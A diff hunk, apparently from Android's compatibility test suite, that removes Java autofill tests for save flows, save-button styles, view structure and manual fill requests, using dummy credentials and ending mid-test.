-    public void testSaveOnlyTriggeredManuallyPreFilled() throws Exception {
-        saveOnlyTestPreFilled(true);
-    }
-
-    private void saveOnlyTestPreFilled(boolean manually) throws Exception {
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .build());
-
-        // Set activity
-        mActivity.onUsername((v) -> v.setText("user_before"));
-        mActivity.onPassword((v) -> v.setText("pass_before"));
-
-        // Trigger auto-fill.
-        if (manually) {
-            // setText() will trigger a fill request.
-            // Waits the first fill request triggered by the setText() is received by the service to
-            // avoid flaky.
-            sReplier.getNextFillRequest();
-            mUiBot.waitForIdle();
-
-            // Set expectations again.
-            sReplier.addResponse(new CannedFillResponse.Builder()
-                    .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                    .build());
-            mActivity.forceAutofillOnUsername();
-        } else {
-            mUiBot.selectByRelativeId(ID_USERNAME);
-        }
-        mUiBot.waitForIdle();
-
-        // Validation check.
-        mUiBot.assertNoDatasetsEver();
-
-        // Wait for onFill() before proceeding, otherwise the fields might be changed before
-        // the session started
-        sReplier.getNextFillRequest();
-
-        // Set credentials...
-        mActivity.onUsername((v) -> v.setText("user_after"));
-        mActivity.onPassword((v) -> v.setText("pass_after"));
-
-        // ...and login
-        final String expectedMessage = getWelcomeMessage("user_after");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.waitForIdle();
-
-        // Assert the snack bar is shown and tap "Save".
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        sReplier.assertNoUnhandledSaveRequests();
-
-        // Assert value of expected fields - should not be sanitized.
-        try {
-            final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
-            assertTextAndValue(username, "user_after");
-            final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
-            assertTextAndValue(password, "pass_after");
-        } catch (AssertionError | RuntimeException e) {
-            dumpStructure("saveOnlyTest() failed", saveRequest.structure);
-            throw e;
-        }
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testSaveOnlyTwoRequiredFieldsOnePrefilled() throws Exception {
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .build());
-
-        // Set activity
-        mActivity.onUsername((v) -> v.setText("I_AM_USER"));
-
-        // Trigger auto-fill.
-        mActivity.onPassword(View::requestFocus);
-
-        // Wait for onFill() before changing value, otherwise the fields might be changed before
-        // the session started
-        sReplier.getNextFillRequest();
-        mUiBot.assertNoDatasetsEver();
-
-        // Set credentials...
-        mActivity.onPassword((v) -> v.setText("thou should pass")); // contains pass
-
-        // ...and login
-        final String expectedMessage = getWelcomeMessage("I_AM_USER"); // contains pass
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-
-        // Assert the snack bar is shown and tap "Save".
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        sReplier.assertNoUnhandledSaveRequests();
-
-        // Assert value of expected fields - should not be sanitized.
-        try {
-            final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
-            assertTextAndValue(username, "I_AM_USER");
-            final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
-            assertTextAndValue(password, "thou should pass");
-        } catch (AssertionError | RuntimeException e) {
-            dumpStructure("saveOnlyTest() failed", saveRequest.structure);
-            throw e;
-        }
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testSaveOnlyOptionalField() throws Exception {
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME)
-                .setOptionalSavableIds(ID_PASSWORD)
-                .build());
-
-        // Trigger auto-fill.
-        mActivity.onUsername(View::requestFocus);
-
-        // Validation check.
-        mUiBot.assertNoDatasetsEver();
-
-        // Wait for onFill() before proceeding, otherwise the fields might be changed before
-        // the session started
-        sReplier.getNextFillRequest();
-
-        // Set credentials...
-        mActivity.onUsername((v) -> v.setText("malkovich"));
-        mActivity.onPassword(View::requestFocus);
-        mActivity.onPassword((v) -> v.setText("malkovich"));
-
-        // ...and login
-        final String expectedMessage = getWelcomeMessage("malkovich");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-
-        // Assert the snack bar is shown and tap "Save".
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-
-        // Assert value of expected fields - should not be sanitized.
-        final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
-        assertTextAndValue(username, "malkovich");
-        final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
-        assertTextAndValue(password, "malkovich");
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testSaveNoRequiredField_NoneFilled() throws Exception {
-        optionalOnlyTest(FilledFields.NONE);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testSaveNoRequiredField_OneFilled() throws Exception {
-        optionalOnlyTest(FilledFields.USERNAME_ONLY);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testSaveNoRequiredField_BothFilled() throws Exception {
-        optionalOnlyTest(FilledFields.BOTH);
-    }
-
-    enum FilledFields {
-        NONE,
-        USERNAME_ONLY,
-        BOTH
-    }
-
-    private void optionalOnlyTest(FilledFields filledFields) throws Exception {
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD)
-                .setOptionalSavableIds(ID_USERNAME, ID_PASSWORD)
-                .build());
-
-        // Trigger auto-fill.
-        mActivity.onUsername(View::requestFocus);
-
-        // Validation check.
-        mUiBot.assertNoDatasetsEver();
-
-        // Wait for onFill() before proceeding, otherwise the fields might be changed before
-        // the session started
-        sReplier.getNextFillRequest();
-
-        // Set credentials...
-        final String expectedUsername;
-        if (filledFields == FilledFields.USERNAME_ONLY || filledFields == FilledFields.BOTH) {
-            expectedUsername = BACKDOOR_USERNAME;
-            mActivity.onUsername((v) -> v.setText(BACKDOOR_USERNAME));
-        } else {
-            expectedUsername = "";
-        }
-        mActivity.onPassword(View::requestFocus);
-        if (filledFields == FilledFields.BOTH) {
-            mActivity.onPassword((v) -> v.setText("whatever"));
-        }
-
-        // ...and login
-        final String expectedMessage = getWelcomeMessage(expectedUsername);
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-
-        if (filledFields == FilledFields.NONE) {
-            mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-            return;
-        }
-
-        // Assert the snack bar is shown and tap "Save".
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-
-        // Assert value of expected fields - should not be sanitized.
-        final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
-        assertTextAndValue(username, BACKDOOR_USERNAME);
-
-        if (filledFields == FilledFields.BOTH) {
-            final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
-            assertTextAndValue(password, "whatever");
-        }
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testGenericSave() throws Exception {
-        customizedSaveTest(SAVE_DATA_TYPE_GENERIC);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testCustomizedSavePassword() throws Exception {
-        customizedSaveTest(SAVE_DATA_TYPE_PASSWORD);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testCustomizedSaveAddress() throws Exception {
-        customizedSaveTest(SAVE_DATA_TYPE_ADDRESS);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testCustomizedSaveCreditCard() throws Exception {
-        customizedSaveTest(SAVE_DATA_TYPE_CREDIT_CARD);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testCustomizedSaveUsername() throws Exception {
-        customizedSaveTest(SAVE_DATA_TYPE_USERNAME);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testCustomizedSaveEmailAddress() throws Exception {
-        customizedSaveTest(SAVE_DATA_TYPE_EMAIL_ADDRESS);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testCustomizedSaveDebitCard() throws Exception {
-        customizedSaveTest(SAVE_DATA_TYPE_DEBIT_CARD);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testCustomizedSavePaymentCard() throws Exception {
-        customizedSaveTest(SAVE_DATA_TYPE_PAYMENT_CARD);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testCustomizedSaveGenericCard() throws Exception {
-        customizedSaveTest(SAVE_DATA_TYPE_GENERIC_CARD);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testCustomizedSaveTwoCardTypes() throws Exception {
-        customizedSaveTest(SAVE_DATA_TYPE_CREDIT_CARD | SAVE_DATA_TYPE_DEBIT_CARD,
-                SAVE_DATA_TYPE_GENERIC_CARD);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testCustomizedSaveThreeCardTypes() throws Exception {
-        customizedSaveTest(SAVE_DATA_TYPE_CREDIT_CARD | SAVE_DATA_TYPE_DEBIT_CARD
-                | SAVE_DATA_TYPE_PAYMENT_CARD, SAVE_DATA_TYPE_GENERIC_CARD);
-    }
-
-    private void customizedSaveTest(int type) throws Exception {
-        customizedSaveTest(type, type);
-    }
-
-    private void customizedSaveTest(int type, int expectedType) throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        final String saveDescription = "Your data will be saved with love and care...";
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(type, ID_USERNAME, ID_PASSWORD)
-                .setSaveDescription(saveDescription)
-                .build());
-
-        // Trigger auto-fill.
-        mActivity.onUsername(View::requestFocus);
-
-        // Validation check.
-        mUiBot.assertNoDatasetsEver();
-
-        // Wait for onFill() before proceeding, otherwise the fields might be changed before
-        // the session started.
-        sReplier.getNextFillRequest();
-
-        // Set credentials...
-        mActivity.onUsername((v) -> v.setText("malkovich"));
-        mActivity.onPassword((v) -> v.setText("malkovich"));
-
-        // ...and login
-        final String expectedMessage = getWelcomeMessage("malkovich");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-
-        // Assert the snack bar is shown and tap "Save".
-        final UiObject2 saveSnackBar = mUiBot.assertSaveShowing(saveDescription, expectedType);
-        mUiBot.saveForAutofill(saveSnackBar, true);
-
-        // Assert save was called.
-        sReplier.getNextSaveRequest();
-    }
-
-    @Test
-    public void testDontTriggerSaveOnFinishWhenRequestedByFlag() throws Exception {
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .setSaveInfoFlags(SaveInfo.FLAG_DONT_SAVE_ON_FINISH)
-                .build());
-
-        // Trigger auto-fill.
-        mActivity.onUsername(View::requestFocus);
-
-        // Validation check.
-        mUiBot.assertNoDatasetsEver();
-
-        // Wait for onFill() before proceeding, otherwise the fields might be changed before
-        // the session started
-        sReplier.getNextFillRequest();
-
-        // Set credentials...
-        mActivity.onUsername((v) -> v.setText("malkovich"));
-        mActivity.onPassword((v) -> v.setText("malkovich"));
-
-        // ...and login
-        final String expectedMessage = getWelcomeMessage("malkovich");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-
-        // Make sure it didn't trigger save.
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-    }
-
-    @Test
-    public void testAutoFillOneDatasetAndSaveWhenFlagSecure() throws Exception {
-        mActivity.setFlags(FLAG_SECURE);
-        testAutoFillOneDatasetAndSave();
-    }
-
-    @Test
-    public void testAutoFillOneDatasetWhenFlagSecure() throws Exception {
-        mActivity.setFlags(FLAG_SECURE);
-        testAutoFillOneDataset();
-    }
-
-    @Test
-    @AppModeFull(reason = "Service-specific test")
-    public void testDisableSelf() throws Exception {
-        enableService();
-
-        // Can disable while connected.
-        mActivity.runOnUiThread(() -> mContext.getSystemService(
-                AutofillManager.class).disableAutofillServices());
-
-        // Ensure disabled.
-        assertServiceDisabled();
-    }
-
-    @Test
-    public void testNeverRejectStyleNegativeSaveButton() throws Exception {
-        negativeSaveButtonStyle(SaveInfo.NEGATIVE_BUTTON_STYLE_NEVER);
-    }
-
-    @Test
-    public void testRejectStyleNegativeSaveButton() throws Exception {
-        negativeSaveButtonStyle(SaveInfo.NEGATIVE_BUTTON_STYLE_REJECT);
-    }
-
-    @Test
-    public void testCancelStyleNegativeSaveButton() throws Exception {
-        negativeSaveButtonStyle(SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL);
-    }
-
-    private void negativeSaveButtonStyle(int style) throws Exception {
-        enableService();
-
-        // Set service behavior.
-
-        final String intentAction = "android.autofillservice.cts.CUSTOM_ACTION";
-
-        // Configure the save UI.
-        final IntentSender listener = PendingIntent.getBroadcast(
-                mContext, 0, new Intent(intentAction), 0).getIntentSender();
-
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .setNegativeAction(style, listener)
-                .build());
-
-        // Trigger auto-fill.
-        mActivity.onUsername(View::requestFocus);
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.onUsername((v) -> v.setText("foo"));
-        mActivity.onPassword((v) -> v.setText("foo"));
-        mActivity.tapLogin();
-
-        // Start watching for the negative intent
-        final CountDownLatch latch = new CountDownLatch(1);
-        final IntentFilter intentFilter = new IntentFilter(intentAction);
-        mContext.registerReceiver(new BroadcastReceiver() {
-            @Override
-            public void onReceive(Context context, Intent intent) {
-                mContext.unregisterReceiver(this);
-                latch.countDown();
-            }
-        }, intentFilter);
-
-        // Trigger the negative button.
-        mUiBot.saveForAutofill(style, /* yesDoIt= */ false, SAVE_DATA_TYPE_PASSWORD);
-
-        // Wait for the custom action.
-        assertThat(latch.await(5, TimeUnit.SECONDS)).isTrue();
-    }
-
-    @Test
-    public void testContinueStylePositiveSaveButton() throws Exception {
-        enableService();
-
-        // Set service behavior.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .setPositiveAction(SaveInfo.POSITIVE_BUTTON_STYLE_CONTINUE)
-                .build());
-
-        // Trigger auto-fill.
-        mActivity.onUsername(View::requestFocus);
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.onUsername((v) -> v.setText("foo"));
-        mActivity.onPassword((v) -> v.setText("foo"));
-        mActivity.tapLogin();
-
-        // Start watching for the negative intent
-        // Trigger the negative button.
-        mUiBot.saveForAutofill(SaveInfo.POSITIVE_BUTTON_STYLE_CONTINUE, SAVE_DATA_TYPE_PASSWORD);
-
-        // Assert save was called.
-        sReplier.getNextSaveRequest();
-    }
-
-    @Test
-    @AppModeFull(reason = "Unit test")
-    public void testGetTextInputType() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(NO_RESPONSE);
-
-        // Trigger auto-fill.
-        mActivity.onUsername(View::requestFocus);
-
-        // Assert input text on fill request:
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-
-        final ViewNode label = findNodeByResourceId(fillRequest.structure, ID_PASSWORD_LABEL);
-        assertThat(label.getInputType()).isEqualTo(TYPE_NULL);
-        final ViewNode password = findNodeByResourceId(fillRequest.structure, ID_PASSWORD);
-        assertWithMessage("No TYPE_TEXT_VARIATION_PASSWORD on %s", password.getInputType())
-                .that(password.getInputType() & TYPE_TEXT_VARIATION_PASSWORD)
-                .isEqualTo(TYPE_TEXT_VARIATION_PASSWORD);
-    }
-
-    @Test
-    @AppModeFull(reason = "Unit test")
-    public void testNoContainers() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(NO_RESPONSE);
-
-        // Trigger auto-fill.
-        mActivity.onUsername(View::requestFocus);
-
-        mUiBot.assertNoDatasetsEver();
-
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-
-        // Assert it only has 1 root view with 10 "leaf" nodes:
-        // 1.text view for app title
-        // 2.username text label
-        // 3.username text field
-        // 4.password text label
-        // 5.password text field
-        // 6.output text field
-        // 7.clear button
-        // 8.save button
-        // 9.login button
-        // 10.cancel button
-        //
-        // But it also has an intermediate container (for username) that should be included because
-        // it has a resource id.
-
-        assertNumberOfChildren(fillRequest.structure, 12);
-
-        // Make sure container with a resource id was included:
-        final ViewNode usernameContainer = findNodeByResourceId(fillRequest.structure,
-                ID_USERNAME_CONTAINER);
-        assertThat(usernameContainer).isNotNull();
-        assertThat(usernameContainer.getChildCount()).isEqualTo(2);
-    }
-
-    @Test
-    public void testAutofillManuallyOneDataset() throws Exception {
-        // Set service.
-        enableService();
-
-        // And activity.
-        mActivity.onUsername((v) -> v.setImportantForAutofill(IMPORTANT_FOR_AUTOFILL_NO));
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Explicitly uses the contextual menu to test that functionality.
-        mUiBot.getAutofillMenuOption(ID_USERNAME).click();
-
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-        assertHasFlags(fillRequest.flags, FLAG_MANUAL_REQUEST);
-
-        // Should have been automatically filled.
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
-    public void testAutofillManuallyOneDatasetWhenClipboardFull() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set clipboard.
-        ClipboardManager cm = (ClipboardManager) mActivity.getSystemService(CLIPBOARD_SERVICE);
-        cm.setPrimaryClip(ClipData.newPlainText(null, "test"));
-
-        // And activity.
-        mActivity.onUsername((v) -> v.setImportantForAutofill(IMPORTANT_FOR_AUTOFILL_NO));
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Explicitly uses the contextual menu to test that functionality.
-        mUiBot.getAutofillMenuOption(ID_USERNAME).click();
-
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-        assertHasFlags(fillRequest.flags, FLAG_MANUAL_REQUEST);
-
-        // Should have been automatically filled.
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        // clear clipboard
-        cm.clearPrimaryClip();
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillManuallyOneDataset() is enough")
-    public void testAutofillManuallyTwoDatasetsPickFirst() throws Exception {
-        autofillManuallyTwoDatasets(true);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillManuallyOneDataset() is enough")
-    public void testAutofillManuallyTwoDatasetsPickSecond() throws Exception {
-        autofillManuallyTwoDatasets(false);
-    }
-
-    private void autofillManuallyTwoDatasets(boolean pickFirst) throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("The Dude"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "jenny")
-                        .setField(ID_PASSWORD, "8675309")
-                        .setPresentation(createPresentation("Jenny"))
-                        .build())
-                .build());
-        if (pickFirst) {
-            mActivity.expectAutoFill("dude", "sweet");
-        } else {
-            mActivity.expectAutoFill("jenny", "8675309");
-
-        }
-
-        // Force a manual autofill request.
-        mActivity.forceAutofillOnUsername();
-
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-        assertHasFlags(fillRequest.flags, FLAG_MANUAL_REQUEST);
-
-        // Auto-fill it.
-        final UiObject2 picker = mUiBot.assertDatasets("The Dude", "Jenny");
-        mUiBot.selectDataset(picker, pickFirst ? "The Dude" : "Jenny");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillManuallyOneDataset() is enough")
-    public void testAutofillManuallyPartialField() throws Exception {
-        // Set service.
-        enableService();
-
-        sReplier.addResponse(NO_RESPONSE);
-        // And activity.
-        mActivity.onUsername((v) -> v.setText("dud"));
-        mActivity.onPassword((v) -> v.setText("IamSecretMan"));
-
-        // setText() will trigger a fill request.
-        // Waits the first fill request triggered by the setText() is received by the service to
-        // avoid flaky.
-        sReplier.getNextFillRequest();
-        mUiBot.waitForIdle();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Force a manual autofill request.
-        mActivity.forceAutofillOnUsername();
-
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-        assertHasFlags(fillRequest.flags, FLAG_MANUAL_REQUEST);
-        // Username value should be available because it triggered the manual request...
-        assertValue(fillRequest.structure, ID_USERNAME, "dud");
-        // ... but password didn't
-        assertTextIsSanitized(fillRequest.structure, ID_PASSWORD);
-
-        // Selects the dataset.
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillManuallyOneDataset() is enough")
-    public void testAutofillManuallyAgainAfterAutomaticallyAutofilledBefore() throws Exception {
-        // Set service.
-        enableService();
-
-        /*
-         * 1st fill (automatic).
-         */
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Assert request.
-        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
-        assertThat(fillRequest1.flags).isEqualTo(0);
-        assertTextIsSanitized(fillRequest1.structure, ID_USERNAME);
-        assertTextIsSanitized(fillRequest1.structure, ID_PASSWORD);
-
-        // Select it.
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        /*
-         * 2nd fill (manual).
-         */
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "DUDE")
-                .setField(ID_PASSWORD, "SWEET")
-                .setPresentation(createPresentation("THE DUDE"))
-                .build());
-        mActivity.expectAutoFill("DUDE", "SWEET");
-        // Change password to make sure it's not sent to the service.
-        mActivity.onPassword((v) -> v.setText("IamSecretMan"));
-
-        // Trigger auto-fill.
-        mActivity.forceAutofillOnUsername();
-
-        // Assert request.
-        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
-        assertHasFlags(fillRequest2.flags, FLAG_MANUAL_REQUEST);
-        assertValue(fillRequest2.structure, ID_USERNAME, "dude");
-        assertTextIsSanitized(fillRequest2.structure, ID_PASSWORD);
-
-        // Select it.
-        mUiBot.selectDataset("THE DUDE");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillManuallyOneDataset() is enough")
-    public void testAutofillManuallyAgainAfterManuallyAutofilledBefore() throws Exception {
-        // Set service.
-        enableService();
-
-        /*
-         * 1st fill (manual).
-         */
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        mActivity.forceAutofillOnUsername();
-
-        // Assert request.
-        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
-        assertHasFlags(fillRequest1.flags, FLAG_MANUAL_REQUEST);
-        assertValue(fillRequest1.structure, ID_USERNAME, "");
-        assertTextIsSanitized(fillRequest1.structure, ID_PASSWORD);
-
-        // Select it.
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        /*
-         * 2nd fill (manual).
-         */
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "DUDE")
-                .setField(ID_PASSWORD, "SWEET")
-                .setPresentation(createPresentation("THE DUDE"))
-                .build());
-        mActivity.expectAutoFill("DUDE", "SWEET");
-        // Change password to make sure it's not sent to the service.
-        mActivity.onPassword((v) -> v.setText("IamSecretMan"));
-
-        // Trigger auto-fill.
-        mActivity.forceAutofillOnUsername();
-
-        // Assert request.
-        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
-        assertHasFlags(fillRequest2.flags, FLAG_MANUAL_REQUEST);
-        assertValue(fillRequest2.structure, ID_USERNAME, "dude");
-        assertTextIsSanitized(fillRequest2.structure, ID_PASSWORD);
-
-        // Select it.
-        mUiBot.selectDataset("THE DUDE");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    public void testCommitMultipleTimes() throws Throwable {
-        // Set service.
-        enableService();
-
-        final CannedFillResponse response = new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .build();
-
-        for (int i = 1; i <= 10; i++) {
-            Log.i(TAG, "testCommitMultipleTimes(): step " + i);
-            final String username = "user-" + i;
-            final String password = "pass-" + i;
-            try {
-                // Set expectations.
-                sReplier.addResponse(response);
-
-                Timeouts.IDLE_UNBIND_TIMEOUT.run("wait for session created", () -> {
-                    // Trigger auto-fill.
-                    mActivity.onUsername(View::clearFocus);
-                    mActivity.onUsername(View::requestFocus);
-
-                    return isConnected() ? "not_used" : null;
-                });
-
-                sReplier.getNextFillRequest();
-
-                // Validation check.
-                mUiBot.assertNoDatasetsEver();
-
-                // Set credentials...
-                mActivity.onUsername((v) -> v.setText(username));
-                mActivity.onPassword((v) -> v.setText(password));
-
-                // Change focus to prepare for next step - must do it before session is gone
-                mActivity.onPassword(View::requestFocus);
-
-                // ...and save them
-                mActivity.tapSave();
-
-                // Assert the snack bar is shown and tap "Save".
-                mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-                final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-
-                // Assert value of expected fields - should not be sanitized.
-                final ViewNode usernameNode = findNodeByResourceId(saveRequest.structure,
-                        ID_USERNAME);
-                assertTextAndValue(usernameNode, username);
-                final ViewNode passwordNode = findNodeByResourceId(saveRequest.structure,
-                        ID_PASSWORD);
-                assertTextAndValue(passwordNode, password);
-
-                waitUntilDisconnected();
-
-                // Wait and check if the save window is correctly hidden.
-                mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-            } catch (RetryableException e) {
-                throw new RetryableException(e, "on step %d", i);
-            } catch (Throwable t) {
-                throw new Throwable("Error on step " + i, t);
-            }
-        }
-    }
-
-    @Test
-    public void testCancelMultipleTimes() throws Throwable {
-        // Set service.
-        enableService();
-
-        for (int i = 1; i <= 10; i++) {
-            Log.i(TAG, "testCancelMultipleTimes(): step " + i);
-            final String username = "user-" + i;
-            final String password = "pass-" + i;
-            sReplier.addResponse(new CannedDataset.Builder()
-                    .setField(ID_USERNAME, username)
-                    .setField(ID_PASSWORD, password)
-                    .setPresentation(createPresentation("The Dude"))
-                    .build());
-            mActivity.expectAutoFill(username, password);
-            try {
-                // Trigger auto-fill.
-                requestFocusOnUsername();
-
-                waitUntilConnected();
-                sReplier.getNextFillRequest();
-
-                // Auto-fill it.
-                mUiBot.selectDataset("The Dude");
-
-                // Check the results.
-                mActivity.assertAutoFilled();
-
